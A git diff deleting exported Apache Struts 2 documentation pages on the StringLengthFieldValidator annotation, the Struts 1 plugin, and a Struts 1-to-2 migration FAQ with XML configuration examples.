-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>StringLengthFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="stringlengthfieldvalidator-annotation.html">StringLengthFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">StringLengthFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13903">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13903">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13903">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13903">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13903">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13903">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a String field is of the right length. It assumes that the field is a String.
-If neither minLength nor maxLength is set, nothing will be done.</p>
-
-<h2 id="StringLengthFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="StringLengthFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<p></p><p>If neither <em>minLength</em> nor <em>maxLength</em> is set, nothing will be done.</p>
-
-
-<h2 id="StringLengthFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@StringLengthFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, trim = true, minLength = &quot;5&quot;,  maxLength = &quot;12&quot;)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-1-plugin.html b/content/docs/struts-1-plugin.html
deleted file mode 100644
index d352b74..0000000
--- a/content/docs/struts-1-plugin.html
+++ /dev/null
@@ -1,197 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 1 Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-1-plugin.html">Struts 1 Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 1 Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44227">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44227">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44227">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44227">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44227">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44227">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Struts 1 plugin <parameter ac:name="atlassian-macro-output-type">INLINE</parameter><rich-text-body><p>allows you to use existing Struts 1 Actions and ActionForms in Struts 2 applications</p></rich-text-body>.</p>
-
-<p>This plugin provides a generic Struts 2 Action class to wrap an existing Struts 1 Action, <code>org.apache.struts2.s1.Struts1Action</code>.  The wrapper class provides the expected calls to the legacy Struts 1 Action and ActionForm, converting incoming and outgoing objects into the expected forms.  It works by using the <a shape="rect" href="scoped-model-driven-interceptor.html">scoped model driven</a> technique that uses a single Object as the model for every page, very similar to ho [...]
-<ul><li><code>org.apache.struts2.s1.ActionFormValidatorInterceptor</code> - Integrates the validation of ActionForms into the workflow of Struts 2</li><li><code>org.apache.struts2.s1.ActionFormResetInterceptor</code> - Calls the <code>reset()</code> method on any discovered ActionForms</li></ul>
-
-
-<parameter ac:name="title">Warning</parameter><rich-text-body>
-<p>The Struts 1 plugin is currently only intended to allow you to run Strust 1 actions inside a Struts 2 application. It DOES NOT allow you to continue to use the Struts 1 tag libraries in your JSPs. Your JSPs must be converted to use the Struts 2 tag library.</p>
-
-<p>There is a <a shape="rect" class="external-link" href="https://issues.apache.org/struts/browse/WW-2157">JIRA ticket</a> open for enhancing this plugin to allow a more seamless transition from Struts 1 to Struts 2 by supporting continued use of the Struts 1 tag libraries in JSPs, however, there is not a scheduled time frame for that functionality to be made available. (Patches are welcomed!) </p></rich-text-body>
-
-<h2 id="Struts1Plugin-Features">Features</h2>
-
-<ul><li>Can use Struts 1 Actions and ActionForms with no code changes</li><li>Supports Commons Validator-enabled ActionForms</li></ul>
-
-
-<h2 id="Struts1Plugin-Usage">Usage</h2>
-
-<p>To use existing Struts 1 Actions and ActionForms in a Struts 2 application, create a normal Struts 2 configuration package in <code>struts.xml</code>, but have it extend <code>struts1-default</code>.  The <code>struts1-default</code> package contains several interceptors and a default interceptor stack that work the plugin into the Struts 2 request process.</p>
-
-<p>In the most simple case, where you have a Struts 1 Action that you want to use in Struts 2, configure a Struts 2 action using the wrapper:</p>
-
-<parameter ac:name="title">Simple Struts 1 configuration</parameter><parameter ac:name="lang">xml</parameter><plain-text-body>
-&lt;action name="myAction" class="org.apache.struts2.s1.Struts1Action"&gt;
-  &lt;param name="className"&gt;com.mycompany.myapp.MyAction&lt;/param&gt;
-  &lt;result&gt;myAction.jsp&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body>
-
-<p>Most likely, you will have an ActionForm that your Struts 1 Action expects.  To use an ActionForm, the setup is a little more complicated because you'll need an interceptor that manages the creation and scope (to support request and session scoping like Struts 1) of the ActionForm. </p>
-
-<parameter ac:name="title">Struts 1 Action with a session-scoped ActionForm</parameter><parameter ac:name="lang">xml</parameter><plain-text-body>
-
-&lt;action name="myFormAction" class="org.apache.struts2.s1.Struts1Action"&gt;
-  &lt;param name="className"&gt;com.mycompany.myapp.MyAction&lt;/param&gt;
-
-  &lt;interceptor-ref name="scopedModelDriven"&gt;
-    &lt;param name="className"&gt;com.mycompany.myapp.MyForm&lt;/param&gt;
-    &lt;param name="name"&gt;gangsterForm&lt;/param&gt;
-    &lt;param name="scope"&gt;session&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-  &lt;interceptor-ref name="struts1-default"/&gt;
-
-  &lt;result&gt;myAction.jsp&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body>
-
-<h2 id="Struts1Plugin-Example">Example</h2>
-
-<p>This example shows a few Struts 1 Actions, a session-scoped ActionForm, and validation that uses Commons Validator:</p>
-
-<plain-text-body>{snippet:url=struts2/apps/showcase/src/main/resources/struts-integration.xml|lang=xml}</plain-text-body>
-
-<h2 id="Struts1Plugin-Settings">Settings</h2>
-
-<p>This plugin doesn't support any global settings.</p>
-
-<h2 id="Struts1Plugin-Installation">Installation</h2>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  It will need the Struts 1 jar in order to function correctly.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-1-solutions.html b/content/docs/struts-1-solutions.html
deleted file mode 100644
index 14f642b..0000000
--- a/content/docs/struts-1-solutions.html
+++ /dev/null
@@ -1,258 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 1 Solutions</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="struts-1-solutions.html">Struts 1 Solutions</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 1 Solutions</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14240">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14240">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14240">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14240">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14240">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14240">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This page is meant to be a list of issues and solutions that users ave encountered while migrating existing Struts 1 application to Struts 2, or developing new Webwork-based applications. If you have a solution to the issue that will of course be most helpful, but even if you don't it is worth noting what you encountered none the less in the hopes that someone else can come along and answer it for you, and the rest of us.</p>
-
-<ul><li>How do we change the location of the <code>struts.xml</code> file?</li><li>How do we set checkboxes to false (on uncheck)?</li><li>How can we set the focus on a form field?</li><li>What is the analogy to ForwardAction?</li><li>How do we extend an action mapping in struts.xml?</li><li>Can we use DynaBeans?</li><li>How do we set a token to track duplicate submits?</li></ul>
-
-
-<h2 id="Struts1Solutions-Howdowechangethelocationofthestruts.xmlfile?">How do we change the location of the struts.xml file? </h2>
-
-<p>Struts 2 uses a different approach to loading the configuration. The initial <code>struts.xml</code> is loaded from the root of the classpath. The easiest way to set that up is to put the <code>struts.xml</code> under the <code>classes</code> folder. </p>
-
-<p>If maintaining the <code>struts.xml</code> under <code>classes</code> doesn't work for you, then use the "bootstrap" <code>struts.xml</code> to include whatever other <code>struts.xml</code>'s you'd like.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-   &lt;include file="..\struts.xml"/&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>Or, chuck it all and use <a shape="rect" href="zero-configuration.html">Zero Configuration</a> <img class="emoticon emoticon-smile" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/smile.png" data-emoticon-name="smile" alt="(smile)"></p>
-
-<h2 id="Struts1Solutions-Howdowesetcheckboxesfalse(onuncheck)?">How do we set checkboxes false (on uncheck)?</h2>
-
-<p>In Struts 2, checkboxes are stateful, and we don't need to do that anymore. </p>
-
-<p>Just treat the checkbox like any other tag. The framework will notice if a checkbox is "missing" from a request and inject a false value for that checkbox. </p>
-
-<h2 id="Struts1Solutions-Howcanwesetthefocusonaformfield?">How can we set the focus on a form field?</h2>
-
-<p>Struts 1 generates a little JavaScript that helps set the focus, if you specify the field in the JSP.</p>
-
-<p>Another solution is to use a <a shape="rect" class="external-link" href="http://www.codeproject.com/jscript/FocusFirstInput.asp" rel="nofollow">generic Javascript</a> that automatically seeks the first enabled form field on page.</p>
-
-<p>(<a shape="rect" class="external-link" href="http://issues.apache.org/struts/browse/WW-1350">Building this script into Struts 2 is being considered.</a>)</p>
-<ul><li><a shape="rect" class="external-link" href="http://forums.opensymphony.com/thread.jspa?threadID=23777&amp;tstart=0" rel="nofollow">http://forums.opensymphony.com/thread.jspa?threadID=23777&amp;tstart=0</a></li></ul>
-
-
-<h2 id="Struts1Solutions-WhatistheanalogytoForwardAction?">What is the analogy to ForwardAction?</h2>
-
-<p>The default Action class (ActionSupport) returns SUCCESS by default, and SUCCESS is the default result. Using an action to forward directly to a page is easy:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="Welcome" class="com.company.Foo"&gt;
-&lt;result&gt;/pages/Welcome.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h2 id="Struts1Solutions-Howdoweemulatethedefault=&quot;true&quot;attributeofaStruts1.xActionmapping?">How do we emulate the default="true" attribute of a Struts 1.x Action mapping?</h2>
-
-<p>Rather than tag the action as being the default, the default action is set by name using <code>default-action-ref</code> element.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;default-action-ref name="defaultAction"&gt;
-</pre>
-</div></div>
-<p>By using an element, rather than an attribute, packages can inherit the default action name.</p>
-
-<h2 id="Struts1Solutions-Howdoweextendanactionmappinginstruts.xml?">How do we extend an action mapping in struts.xml?</h2>
-
-<p>Starting in Struts 1.3, we can use the "extends" attribute in our Struts configuration Action mapping to have it inherit properties from a base mapping.  In Struts 2, that technique is no longer necessary because we have packages.  We can create a package, then set for that package the default Result type, Interceptor chain, and global results.  This leaves very little information to actually be included in an action element.</p>
-
-<p>Here is an example of declaring a custom package:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="chat" extends="struts-default" namespace="/chat"&gt;
-  &lt;global-results&gt;
-    &lt;result name="login" type="freemarker"&gt;/chat/chatLogin.ftl&lt;/result&gt;
-  &lt;/global-results&gt;
-  &lt;default-interceptor-ref name="basicStack"/&gt;
-  ...
-&lt;/package&gt;
-</pre>
-</div></div>
-<p>In fact, packages themselves can extend other packages, as the "chat" package extends "struts-default" in the above example.</p>
-
-<h2 id="Struts1Solutions-CanweuseDynaBeans?">Can we use DynaBeans?</h2>
-
-<p>Sure, but first, ask "Do we <strong>want</strong> to use DynaBeans at all?" </p>
-
-<p>Typically, DynaBeans are used to emulate a plain old JavaBean that is utilized by the business logic. If that is the case, then we can just use the plain old JavaBean directly. Struts 2 will happily cope with rich properties, like date fields. We don't have to reduce everything to a String anymore. </p>
-
-<p>Otherwise, DynaBeans can be treated as a regular Java object, if the particular implementation contains a getMap() method.  This method lets OGNL, the Struts 2 expression language, know how to access and set data.  DynaBean variants like the LazyDynaBean can create themselves on-the-fly, where other more static types might need to be created in your Action's constructor before being used.  </p>
-
-<h2 id="Struts1Solutions-Howdowesetatokentotrackduplicatesubmits?">How do we set a token to track duplicate submits? </h2>
-
-<p>In Struts 2,  there shouldn't be any token code in an Action class at all. The Interceptors are designed to do all the work. There are three flavors, the Token Interceptor, the Token Session Interceptor, and the Execute and Wait Interceptor.</p>
-
-<h3 id="Struts1Solutions-TokenInterceptor">Token Interceptor </h3>
-
-<p>The <a shape="rect" href="token-interceptor.html">Token Interceptor</a> is most like the Struts 1 approach, except that we don't have to change the Action class to add a lot of busy code. The trade off is that we  <strong>do</strong> have to include the <a shape="rect" href="token.html">token</a> tag in the form, to bootstrap the process. In Struts 1, we set the token in the Action, and the form tag detected it. In Struts 2, we set the token in the page, and the Interceptor detects it. </p>
-
-<p>If the Interceptor does detect a duplicate submit, then it automatically returns an "invalid.token" result code, which can be handled via the action mapping. </p>
-
-<h3 id="Struts1Solutions-TokenSession">Token Session </h3>
-
-<p>The <a shape="rect" href="token-session-interceptor.html">Token Session Interceptor</a> tries to be even more automatic by attempting to display the same response that the original, valid action invocation would have displayed if no multiple requests were submitted in the first place.</p>
-
-<h3 id="Struts1Solutions-ExecuteandWait">Execute and Wait </h3>
-
-<p>The <a shape="rect" href="execute-and-wait-interceptor.html">Execute and Wait Interceptor</a> embraces long-running taks by presenting a progress meter as the Action runs in the background. </p>
-
-<h2 id="Struts1Solutions-Next:">Next: <a shape="rect" href="what-is-the-actioncontext.html">What is the ActionContext?</a></h2>
-
-
-<hr>
-<p>This material originally adopted from: <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/IssuesAndSolutions">http://wiki.apache.org/struts/IssuesAndSolutions</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
